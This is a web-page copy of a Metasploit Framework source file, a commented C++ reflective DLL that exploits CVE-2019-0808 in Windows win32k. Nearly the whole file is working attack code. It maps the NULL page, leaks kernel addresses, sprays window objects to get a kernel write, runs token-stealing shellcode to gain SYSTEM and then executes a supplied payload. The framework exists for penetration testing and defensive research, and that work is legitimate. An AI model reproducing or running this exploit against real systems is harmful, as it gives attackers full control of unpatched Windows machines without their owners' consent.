Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2019-0808/NtUserMNDragOverExploit/dllmain.cpp
21463 views
1
#define WIN32_LEAN_AND_MEAN
2
3
#include <windows.h>
4
#include <stdio.h>
5
#include <bcrypt.h> // Included to define NTSTATUS
6
7
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
8
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
9
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
10
11
typedef struct _MSF_PAYLOAD {
12
DWORD dwSize;
13
CHAR cPayloadData[];
14
} MSF_PAYLOAD;
15
typedef MSF_PAYLOAD* PMSF_PAYLOAD;
16
17
// Define the undefined window message type WM_MN_FINDMENUWINDOWFROMPOINT so the code
18
// knows how to utilize it correctly within this program.
19
#define WM_MN_FINDMENUWINDOWFROMPOINT 0x1EB
20
21
// Set the success flag to indicate whether or not the exploit succeeded or not to FALSE.
22
BOOL success = FALSE;
23
24
// The following lines set up global variables to hold the handle of the primary
25
// and secondary windows to be used in the tagWND write primitive, as well as
26
// the address of each of these windows.
27
HWND hPrimaryWindow = NULL;
28
HWND hSecondaryWindow = NULL;
29
unsigned int primaryWindowAddress = 0;
30
unsigned int secondaryWindowAddress = 0;
31
UINT addressToWrite = 0;
32
33
/* The following definitions define the various structures
34
needed within sprayWindows() */
35
typedef struct _HEAD
36
{
37
HANDLE h;
38
DWORD cLockObj;
39
} HEAD, *PHEAD;
40
41
typedef struct _THROBJHEAD
42
{
43
HEAD h;
44
PVOID pti;
45
} THROBJHEAD, *PTHROBJHEAD;
46
47
typedef struct _THRDESKHEAD
48
{
49
THROBJHEAD h;
50
PVOID rpdesk;
51
PVOID pSelf; // points to the kernel mode address of the current _THRDESKHEAD object
52
} THRDESKHEAD, *PTHRDESKHEAD;
53
54
// Define the function prototype for NtAllocateVirtualMemory() so that this program
55
// knows how to call it correctly as well as what parameters it expects.
56
typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory)(
57
HANDLE ProcessHandle,
58
PVOID *BaseAddress,
59
ULONG ZeroBits,
60
PULONG AllocationSize,
61
ULONG AllocationType,
62
ULONG Protect
63
);
64
65
// Create a pointer to the NtAllocateVirtualMemory() function and initialize it to NULL.
66
NtAllocateVirtualMemory pfnNtAllocateVirtualMemory = NULL;
67
68
// Create a HWND handle to hold the handle to the maliciously crafted window.
69
HWND hWndFakeMenu;
70
71
// Create a HWND handle to hold the handle to the application's main menu.
72
HWND hWndMain;
73
74
// This boolean will indicate whether or not hWndMain's window
75
// procedure is set to DefWindowProc() or not.
76
BOOL bIsDefWndProc = TRUE;
77
78
// This boolean will indicate whether or not the drag operation
79
// has been conducted with the mouse.
80
BOOL bDoneDrag = FALSE;
81
82
// Create a counter for the number of times the DisplayEventProc()
83
// function is hit, which will occur every time a popup menu is created.
84
volatile UINT iMenuCreated = 0;
85
86
// This function contains the inlined assembly responsible for making a syscall to
87
// NtUserMNDragOver(), which has a syscall value of 0x11ED on Windows 7 x86 and Windows
88
// 7 SP1 x86. Refer to https://j00ru.vexillium.org/syscalls/win32k/64/ for the syscall values
89
// for 64 bit Windows operating systems, or https://j00ru.vexillium.org/syscalls/win32k/32/
90
// for the syscall values for 32 bit Windows operating systems.
91
void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
92
_asm {
93
mov eax, 0x11ED
94
push address2
95
push address1
96
mov edx, esp
97
int 0x2E
98
pop eax
99
pop eax
100
}
101
}
102
103
// Define function definition for HMValidateHandle() and name this function definition lHMValidateHandle.
104
typedef void*(__fastcall *lHMValidateHandle)(HWND h, int type);
105
106
// Define global pointer to HMValidateHandle() which is of function type lHMValidateHandle.
107
lHMValidateHandle pHmValidateHandle = NULL;
108
109
110
// Uncomment this line to include debug output
111
//#define DEBUGTRACE
112
113
#ifdef DEBUGTRACE
114
#define dprintf(...) real_dprintf(__VA_ARGS__)
115
static void real_dprintf(char *format, ...)
116
{
117
va_list args;
118
char buffer[1024];
119
va_start(args, format);
120
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
121
strcat_s(buffer, sizeof(buffer), "\r\n");
122
OutputDebugStringA(buffer);
123
va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
124
// one should always call va_end in the same function one calls va_start.
125
}
126
#else
127
#define dprintf(...)
128
#endif
129
130
131
// Thanks to https://github.com/YeonExp/HEVD/blob/c19ad75ceab65cff07233a72e2e765be866fd636/NullPointerDereference/NullPointerDereference/main.cpp#L56 for
132
// explaining this in an example along with the finer details that are often forgotten.
133
bool allocateNullPage() {
134
/* Set the base address at which the memory will be allocated to 0x1.
135
This is done since a value of 0x0 will not be accepted by NtAllocateVirtualMemory(),
136
however due to page alignment requirements the 0x1 will be rounded down to 0x0 internally.*/
137
PVOID BaseAddress = (PVOID)0x1;
138
139
/* Set the size to be allocated to 40960 to ensure that there
140
is plenty of memory allocated and available for use. */
141
SIZE_T size = 40960;
142
143
/* Call NtAllocateVirtualMemory() to allocate the virtual memory at address 0x0 with the size
144
specified in the variable size. Also make sure the memory is allocated with read, write,
145
and execute permissions.*/
146
NTSTATUS result = pfnNtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, 0x0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
147
148
// If the call to NtAllocateVirtualMemory() failed, return FALSE.
149
if (result != 0x0) {
150
return FALSE;
151
}
152
153
// If the code reaches this point, then everything went well, so return TRUE.
154
return TRUE;
155
}
156
157
BOOL findHMValidateHandleAddress(HMODULE hUser32) {
158
// The address of the function HMValidateHandleAddress() is not exported to
159
// the public. IsMenu() on the other hand, is exported to the public via
160
// user32.dll and it contains a call to HMValidateHandle() early on within
161
// its setup code. The call starts with the byte \xEB, which marks the beginning
162
// of an indirect call. By obtaining the offset of this indirect call and adding it
163
// to the address where user32.dll is loaded, one can find the address of the
164
// HMValidateHandle() function within user32.dll and can call it directly.
165
166
// Obtain the address of the function IsMenu() from the currently loaded copy of user32.dll.
167
BYTE * pIsMenuFunction = (BYTE *)GetProcAddress(hUser32, "IsMenu");
168
if (pIsMenuFunction == NULL) {
169
dprintf("[!] Failed to find the address of IsMenu() within user32.dll.\r\n");
170
return FALSE;
171
}
172
else {
173
dprintf("[*] pIsMenuFunction: 0x%08X\r\n", pIsMenuFunction);
174
}
175
176
// Search for the location of the \xEB byte within the IsMenu() function
177
// to find the start of the indirect call to HMValidateHandle().
178
unsigned int offsetInIsMenuFunction = 0;
179
BOOL foundHMValidateHandleAddress = FALSE;
180
for (unsigned int i = 0; i < 0x1000; i++) {
181
BYTE* pCurrentByte = pIsMenuFunction + i;
182
if (*pCurrentByte == 0xE8) {
183
offsetInIsMenuFunction = i + 1;
184
break;
185
}
186
}
187
188
// Throw error and exit if the \xE8 byte couldn't be located.
189
if (offsetInIsMenuFunction == 0) {
190
dprintf("[!] Couldn't find offset to HMValidateHandle() within IsMenu().\r\n");
191
return FALSE;
192
}
193
194
// Output address of user32.dll in memory for debugging purposes.
195
dprintf("[*] hUser32: 0x%08X\r\n", hUser32);
196
197
// Get the value of the relative address being called within the IsMenu() function.
198
unsigned int relativeAddressBeingCalledInIsMenu = *(unsigned int *)(pIsMenuFunction + offsetInIsMenuFunction);
199
dprintf("[*] relativeAddressBeingCalledInIsMenu: 0x%08X\r\n", relativeAddressBeingCalledInIsMenu);
200
201
// Find out how far the IsMenu() function is located from the base address of user32.dll.
202
unsigned int addressOfIsMenuFromStartOfUser32 = ((unsigned int)pIsMenuFunction - (unsigned int)hUser32);
203
dprintf("[*] addressOfIsMenuFromStartOfUser32: 0x%08X\r\n", addressOfIsMenuFromStartOfUser32);
204
205
// Take this offset and add to it the relative address used in the call to HMValidateHandle().
206
// Result should be the offset of HMValidateHandle() from the start of user32.dll.
207
unsigned int offset = addressOfIsMenuFromStartOfUser32 + relativeAddressBeingCalledInIsMenu;
208
dprintf("[*] offset: 0x%08X\r\n", offset);
209
210
// Add the value of the "offset" variable to hUser32 to get the address of HmValidateHandle() within user32.dll.
211
// Additionally add 11 bytes since on Windows 10 these are not NOPs and it would be
212
// ideal if this code could be reused in the future.
213
pHmValidateHandle = (lHMValidateHandle)((unsigned int)hUser32 + offset + 11);
214
dprintf("[*] pHmValidateHandle: 0x%08X\r\n", pHmValidateHandle);
215
return TRUE;
216
}
217
218
// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
219
// Just a standard token stealing shellcode
220
__declspec(noinline) int Shellcode()
221
{
222
__asm {
223
xor eax, eax // Set EAX to 0.
224
mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
225
// _KTHREAD is located at FS:[0x124]
226
mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
227
mov ecx, eax // Copy current process _EPROCESS structure
228
mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
229
SearchSystemPID:
230
mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
231
sub eax, 0B8h
232
cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
233
jne SearchSystemPID
234
mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
235
mov[ecx + 0xF8], edx // Assign SYSTEM process token.
236
}
237
}
238
239
// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
240
// additional insight into how this function should operate.
241
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
242
{
243
if (uMsg == WM_ENTERIDLE) {
244
WORD userModeVar = 0;
245
__asm
246
{
247
// Grab the value of the CS register and
248
// save it into the variable userMode.
249
mov ax, cs
250
mov userModeVar, ax
251
}
252
// If userModeVar is 0x1B, this function is executing in usermode
253
// code and something went wrong. Therefore output a message that
254
// the exploit didn't succeed and bail.
255
if (userModeVar == 0x1b)
256
{
257
// USER MODE
258
dprintf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n");
259
ExitProcess(-1); // Bail as if this code is hit either the target isn't vulnerable or something is wrong with the exploit.
260
}
261
else
262
{
263
success = TRUE; // Set the success flag to indicate the sprayCallback() window procedure is running as SYSTEM.
264
Shellcode(); // Call the Shellcode() function to perform the token stealing
265
}
266
}
267
return DefWindowProc(hWnd, uMsg, wParam, lParam);
268
}
269
270
// Define the HMValidateHandle() window type TYPE_WINDOW appropriately.
271
#define TYPE_WINDOW 1
272
273
/* Main function for spraying the tagWND objects into memory and finding two
274
that are less than 0x3fd00 apart */
275
bool sprayWindows() {
276
HWND hwndSprayHandleTable[0x100]; // Create a table to hold 0x100 HWND handles created by the spray.
277
278
// Create and set up the window class for the sprayed window objects.
279
WNDCLASSEXW sprayClass = { 0 };
280
sprayClass.cbSize = sizeof(WNDCLASSEXW);
281
sprayClass.lpszClassName = TEXT("sprayWindowClass");
282
sprayClass.lpfnWndProc = sprayCallback; // Set the window procedure for the sprayed window objects to sprayCallback().
283
284
if (RegisterClassExW(&sprayClass) == 0) {
285
dprintf("[!] Couldn't register the sprayClass class! Error was: 0x%08X\r\n", GetLastError());
286
return FALSE;
287
}
288
289
// Create 0x100 windows using the sprayClass window class with the window name "spray".
290
for (int i = 0; i < 0x100; i++) {
291
hwndSprayHandleTable[i] = CreateWindowExW(0, sprayClass.lpszClassName, TEXT("spray"), 0, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, NULL, NULL);
292
}
293
294
// For each entry in the hwndSprayHandle table...
295
for (int x = 0; x < 0x100; x++) {
296
// Leak the kernel address of the current HWND being examined, save it into firstEntryAddress.
297
THRDESKHEAD *firstEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[x], TYPE_WINDOW);
298
unsigned int firstEntryAddress = (unsigned int)firstEntryDesktop->pSelf;
299
300
// Then start a loop to start comparing the kernel address of this hWND
301
// object to the kernel address of every other HWND object...
302
for (int y = 0; y < 0x100; y++) {
303
if (x != y) { // If x and y are the same value, then we are comparing the same entries in hwndSprayTable
304
// with one another, so in these cases skip one instance of the loop.
305
306
// Leak the kernel address of the second HWND object being used in the comparison, save it into secondEntryAddress.
307
THRDESKHEAD *secondEntryDesktop = (THRDESKHEAD *)pHmValidateHandle(hwndSprayHandleTable[y], TYPE_WINDOW);
308
unsigned int secondEntryAddress = (unsigned int)secondEntryDesktop->pSelf;
309
310
// If the kernel address of the HWND object leaked earlier in the code is greater than
311
// the kernel address of the HWND object leaked above, execute the following code.
312
if (firstEntryAddress > secondEntryAddress) {
313
314
// Check if the difference between the two addresses is less than 0x3fd00.
315
if ((firstEntryAddress - secondEntryAddress) < 0x3fd00) {
316
dprintf("[*] Primary window address: 0x%08X\r\n", secondEntryAddress);
317
dprintf("[*] Secondary window address: 0x%08X\r\n", firstEntryAddress);
318
319
// Save the handle of secondEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.
320
hPrimaryWindow = hwndSprayHandleTable[y];
321
primaryWindowAddress = secondEntryAddress;
322
323
// Save the handle of firstEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.
324
hSecondaryWindow = hwndSprayHandleTable[x];
325
secondaryWindowAddress = firstEntryAddress;
326
327
// Windows have been found, escape the loop.
328
break;
329
}
330
}
331
332
// If the kernel address of the HWND object leaked earlier in the code is less than
333
// the kernel address of the HWND object leaked above, execute the following code.
334
else {
335
336
// Check if the difference between the two addresses is less than 0x3fd00.
337
if ((secondEntryAddress - firstEntryAddress) < 0x3fd00) {
338
dprintf("[*] Primary window address: 0x%08X\r\n", firstEntryAddress);
339
dprintf("[*] Secondary window address: 0x%08X\r\n", secondEntryAddress);
340
341
// Save the handle of firstEntryAddress into hPrimaryWindow and its address into primaryWindowAddress.
342
hPrimaryWindow = hwndSprayHandleTable[x];
343
primaryWindowAddress = firstEntryAddress;
344
345
// Save the handle of secondEntryAddress into hSecondaryWindow and its address into secondaryWindowAddress.
346
hSecondaryWindow = hwndSprayHandleTable[y];
347
secondaryWindowAddress = secondEntryAddress;
348
349
// Windows have been found, escape the loop.
350
break;
351
}
352
}
353
}
354
}
355
356
// Check if the inner loop ended and the windows were found. If so print a debug message.
357
// Otherwise continue on to the next object in the hwndSprayTable array.
358
if (hPrimaryWindow != NULL) {
359
dprintf("[*] Found target windows!\r\n");
360
break;
361
}
362
}
363
364
// Check that hPrimaryWindow isn't NULL after both the loops are
365
// complete. This will only occur in the event that none of the 0x1000
366
// window objects were within 0x3fd00 bytes of each other. If this occurs, then bail.
367
if (hPrimaryWindow == NULL) {
368
dprintf("[!] Couldn't find the right windows for the tagWND primitive. Exiting....\r\n");
369
return FALSE;
370
}
371
372
// This loop will destroy the handles to all other
373
// windows besides hPrimaryWindow and hSecondaryWindow,
374
// thereby ensuring that there are no lingering unused
375
// handles wasting system resources.
376
for (int p = 0; p < 0x100; p++) {
377
HWND temp = hwndSprayHandleTable[p];
378
if ((temp != hPrimaryWindow) && (temp != hSecondaryWindow)) {
379
DestroyWindow(temp);
380
}
381
}
382
383
addressToWrite = (UINT)primaryWindowAddress + 0x90; // Set addressToWrite to primaryWindow's cbwndExtra field.
384
385
dprintf("[*] Destroyed spare windows!\r\n");
386
387
// Check if its possible to set the window text in hSecondaryWindow.
388
// If this isn't possible, there is a serious error, and the program should exit.
389
// Otherwise return TRUE as everything has been set up correctly.
390
if (SetWindowTextW(hSecondaryWindow, L"test String") == 0) {
391
dprintf("[!] Something is wrong, couldn't initialize the text buffer in the secondary window....\r\n");
392
return FALSE;
393
}
394
else {
395
return TRUE;
396
}
397
}
398
399
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
400
{
401
switch (iMenuCreated)
402
{
403
case 0:
404
SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005); // Press the left mouse button down on point (0x5, 0x5).
405
break;
406
case 1:
407
SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006); // Drag the mouse, with the left mouse button down, to point (0x6, 0x6)
408
break;
409
}
410
dprintf("[*] MSG\n");
411
iMenuCreated++; // Increment iMenuCreated every time this is called.
412
}
413
414
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
415
{
416
if (msg == WM_MN_FINDMENUWINDOWFROMPOINT) {
417
dprintf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n");
418
dprintf("[*] Restoring window procedure...\r\n");
419
SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
420
421
/* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex(), except
422
wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate.
423
424
This is an important information leak as without this the attacker cannot manipulate the values
425
returned from MNGetpItemFromIndex(), which can result in kernel crashes and a dramatic decrease in
426
exploit reliability.
427
*/
428
UINT pPopupAddressInCalculations = wParam + 0x10;
429
430
// Set the address to write to to be the right bit of cbwndExtra in the target tagWND.
431
UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));
432
433
// Set offset 0x20 of the NULL page to 0xFFFFFFFF to bypass this check in MNGetpItemFromIndex()
434
// by setting the value to be compared to EAX to a really high value. The check's code can be seen below.
435
//
436
// cmp eax, [ecx + 20h]
437
// jnb short loc_BF96F0CA;
438
//
439
memcpy_s((void *)0x20, 4, "\xFF\xFF\xFF\xFF", 4);
440
441
442
// Set offset 0x34 in the NULL page to the addressToWrite to, as offset
443
// 0x34 will contain a DWORD that determines where in memory the arbitrary write will write to.
444
memcpy_s((void *)0x34, 4, &addressToWriteTo, 4);
445
446
447
/* Calculate what value to put in offset 0x4C of the NULL page so that the second
448
call to MNGetpItemFromIndex() will return an address within the NULL page region that
449
is readable. The math used here is the same as the address calculation math used previously,
450
but the operations are just done somewhat in reverse. */
451
UINT secondAddress = ((0x100000180 - addressToWriteTo) / 0x6C);
452
453
/* Fill out offset 0x4C of the NULL page so that MNGetpItemFromIndex() succeeds and returns an address,
454
which when incremented by 0x28, points to a readable address. The snippet below shows the
455
relevant code inside win32k.sys which will pass offset 0x4C of the NULL page to MNGetpItemFromIndex()
456
and which will add 0x28 to address returned before using it as a pointer to an address to read from.
457
458
.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu
459
.text:BF975EA3 ;
460
.text:BF975EA3 ; Should set EAX to 0 or NULL.
461
.text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex. This will be the value at address 0x4C given
462
.text:BF975EA6 ; that ppopupmenu->spmenu is NULL.
463
.text:BF975EA9 push eax ; spMenu. Will be NULL or 0.
464
.text:BF975EAA call MNGetpItemFromIndex
465
..............
466
.text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem
467
.text:BF975EBA ;
468
.text:BF975EBA ; pItemFromIndex->yItem will be the value
469
.text:BF975EBA ; at offset 0x28 of whatever value
470
.text:BF975EBA ; MNGetpItemFromIndex returns. */
471
memcpy_s((void *)0x4C, 4, &secondAddress, 4);
472
473
/* Starting at offset 0x50, set all the rest of the bytes to 0xF0. This will ensure
474
that the jump at 0xBF975ED0 is NOT taken by setting the value of pItemFromIndex->yItem to 0xF0F0F0F0.
475
476
.text:BF975ECE cmp ecx, ebx
477
.text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following condition is true:
478
.text:BF975ED0 ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))
479
*/
480
memset((void *)0x50, 0xF0, 0x1000);
481
482
return (ULONG)hWndFakeMenu;
483
}
484
return DefWindowProc(hwnd, msg, wParam, lParam);
485
}
486
487
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
488
{
489
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
490
491
// If the drag and drop operation hasn't started yet, then just call the next hook if there is one.
492
if (!bDoneDrag) {
493
return CallNextHookEx(0, code, wParam, lParam);
494
}
495
496
// If the incoming message was a WM_MN_FINDMENUWINDOWFROMPOINT message, then set bIsDefWndProc to FALSE
497
// to indicate hWndMain's window procedure is no longer DefWindowProc(), and set hWndMain's window
498
// procedure to SubMenuProc().
499
if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT))
500
{
501
bIsDefWndProc = FALSE;
502
dprintf("[*] HWND: %p \n", cwp->hwnd);
503
SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
504
}
505
else {
506
if ((cwp->message == 0x1E5)) {
507
UINT offset = 0; // Create the offset variable which will hold the offset from the start of
508
// hPrimaryWindow's cbwnd data field to write to.
509
510
UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set addressOfStartofPrimaryWndCbWndData to the address of
511
// the start of hPrimaryWindow's cbwnd data field.
512
513
// Set offset to the difference between hSecondaryWindow's
514
// strName.Buffer's memory address and the address of
515
// hPrimaryWindow's cbwnd data field.
516
offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData);
517
dprintf("[*] Offset: 0x%08X\r\n", offset);
518
519
// Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16), or the address of the bServerSideWindowProc bit.
520
if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) {
521
dprintf("[!] An error occurred when using SetWindowLongA() to set the bServerSideWindowProc bit: 0x%08X\r\n", GetLastError());
522
ExitProcess(-1);
523
}
524
else {
525
dprintf("[*] SetWindowLongA() called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset));
526
}
527
528
// Write the value \x06 to it to set the bServerSideWindowProc bit in hSecondaryWindow.
529
if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) {
530
dprintf("[!] SetWindowTextA() couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError());
531
ExitProcess(-1);
532
}
533
else {
534
dprintf("[*] Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));
535
dprintf("[*] Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n");
536
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
537
if (success == TRUE) {
538
dprintf("[*] Successfully exploited CVE-2019-0808 and triggered the shellcode!\r\n");
539
}
540
else {
541
dprintf("[!] Exploit failed, we did not elevate our privileges for some reason!\r\n");
542
ExitProcess(-1);
543
}
544
}
545
}
546
}
547
return CallNextHookEx(0, code, wParam, lParam);
548
}
549
550
int exploit(PMSF_PAYLOAD pMsfPayload)
551
{
552
dprintf("[*] Exploiting!\r\n");
553
554
// Create the primary popup menu and its submenu
555
HMENU hMenuRoot = CreatePopupMenu();
556
HMENU hMenuSub = CreatePopupMenu();
557
558
if ((hMenuRoot == NULL) || (hMenuSub == NULL)){
559
dprintf("[!] Couldn't create the popup menus needed to exploit this vulnerability. Exiting!\r\n");
560
return -1;
561
}
562
563
// Get a HINSTANCE handle to the current process.
564
HINSTANCE hInst = GetModuleHandleA(NULL);
565
if (hInst == NULL){
566
dprintf("[!] Couldn't get a handle to the current process! Exiting!\r\n");
567
return -1;
568
}
569
570
// Get the address of NtAllocateVirtualMemory() from ntdll.dll's export table.
571
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
572
573
// Set the window hook and the event hook.
574
if (SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId()) == NULL){
575
dprintf("[!] Couldn't set the WH_CALLWNDPROC hook, error was: 0x%08x\r\n", GetLastError());
576
return -1;
577
}
578
if (SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, hInst, DisplayEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0) == 0){
579
dprintf("[!] Couldn't set the EVENT_SYSTEM_MENUPOPUPSTART event hook, error was: 0x%08x\r\n", GetLastError());
580
return -1;
581
}
582
583
// Set up the buffers for the call to NtUserMNDragOver().
584
CHAR buf[0x100] = { 0 };
585
POINT pt;
586
pt.x = 2;
587
pt.y = 2;
588
589
// Allocate the NULL page. If this fails, exit the program.
590
if (allocateNullPage() == FALSE) {
591
dprintf("[!] Couldn't allocate the NULL page!\r\n");
592
return -1;
593
}
594
else {
595
dprintf("[*] Allocated the NULL page!\r\n");
596
}
597
598
// Just to be sure that these modules are loaded, lets load them again.
599
// Also allows the attacker to grab the address where user32.dll is loaded in memory.
600
HMODULE hUser32 = LoadLibraryW(L"user32.dll");
601
LoadLibraryW(L"gdi32.dll");
602
603
// Find the address of HMValidateHandle() using the address of user32.dll
604
if (findHMValidateHandleAddress(hUser32) == FALSE) {
605
dprintf("[!] Couldn't locate the address of HMValidateHandle!\r\n");
606
return -1;
607
}
608
609
// Spray the windows and find two that are less than 0x3fd00 apart in memory.
610
if (sprayWindows() == FALSE) {
611
dprintf("[!] Couldn't find two tagWND objects less than 0x3fd00 apart in memory after the spray!\r\n");
612
return -1;
613
}
614
615
// Create the malicious window, which will have its spMenu field set to NULL.
616
hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
617
if (hWndFakeMenu == NULL){
618
dprintf("[!] Couldn't create hWndFakeMenu using menu class #32768. Error was: 0x%08x\r\n", GetLastError());
619
return -1;
620
}
621
dprintf("[*] FakeMenu: %p \n", hWndFakeMenu);
622
623
// Change the menu settings for the two popup menus so that they are drag and drop enabled.
624
MENUINFO mi = { 0 };
625
mi.cbSize = sizeof(MENUINFO);
626
mi.fMask = MIM_STYLE;
627
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
628
if (SetMenuInfo(hMenuRoot, &mi) == 0){
629
dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());
630
return -1;
631
}
632
if (SetMenuInfo(hMenuSub, &mi) == 0){
633
dprintf("[!] Couldn't set the menu info for hMenuRoot! Error was: 0x%08x\r\n", GetLastError());
634
return -1;
635
}
636
637
// Set up the hMenuRoot popupmenu to be the root popup menu which will display hMenuSub when selected.
638
if (AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root") == 0){
639
dprintf("[!] Failed to append hMenuRoot to the menu bar using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());
640
return -1;
641
}
642
if (AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub") == 0){
643
dprintf("[!] Failed to append hMenuSub to hMenuRoot using AppendMenuA! Error was: 0x%08x\r\n", GetLastError());
644
return -1;
645
}
646
647
// Create the class wndClass, set its window procedure to DefWindowProc(), and then create hWndMain using this class.
648
WNDCLASSEXA wndClass = { 0 };
649
wndClass.cbSize = sizeof(WNDCLASSEXA);
650
wndClass.lpfnWndProc = DefWindowProc;
651
wndClass.cbClsExtra = 0;
652
wndClass.cbWndExtra = 0;
653
wndClass.hInstance = hInst;
654
wndClass.lpszMenuName = 0;
655
wndClass.lpszClassName = "WNDCLASSMAIN";
656
RegisterClassExA(&wndClass);
657
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);
658
if (hWndMain == NULL){
659
dprintf("[!] Was unable to create the window hWndMain! Error was: 0x%08x\r\n", GetLastError());
660
return -1;
661
}
662
663
// Show the hMenuRoot popup menu.
664
if (TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL) == 0){
665
dprintf("[!] Was unable to display the hMenuRoot popup menu using TrackPopupMenuEx()! Error was: 0x%08x\r\n", GetLastError());
666
return -1;
667
}
668
669
// Window message loop for handling window messages.
670
MSG msg = { 0 };
671
while (GetMessageW(&msg, NULL, 0, 0))
672
{
673
TranslateMessage(&msg);
674
DispatchMessageW(&msg);
675
676
// Ensure that the call to NtUserMNDragOver() is made only once
677
// the environment is set up correctly.
678
if (iMenuCreated >= 1) {
679
bDoneDrag = TRUE;
680
callNtUserMNDragOverSysCall(&pt, buf);
681
break;
682
}
683
}
684
685
// Execute payload if and only if exploit succeeds.
686
if (success == FALSE) {
687
dprintf("[!] Exploit failed!\n");
688
return -1;
689
}
690
691
dprintf("[*] Exploit completed successfully!\n");
692
if (!pMsfPayload) {
693
dprintf("[!] No payload to execute!\n");
694
return -1;
695
}
696
697
LPVOID shellcode = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
698
if (!shellcode) {
699
dprintf("[!] Shellcode allocation failed!\n");
700
return -1;
701
}
702
memcpy(shellcode, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
703
((void(*)()) shellcode)();
704
return 0;
705
}
706
707
DWORD CALLBACK ExploitThread(LPVOID lpReserved)
708
{
709
exploit((PMSF_PAYLOAD)lpReserved);
710
return 0;
711
}
712
713
BOOL APIENTRY DllMain( HMODULE hModule,
714
DWORD ul_reason_for_call,
715
LPVOID lpReserved
716
)
717
{
718
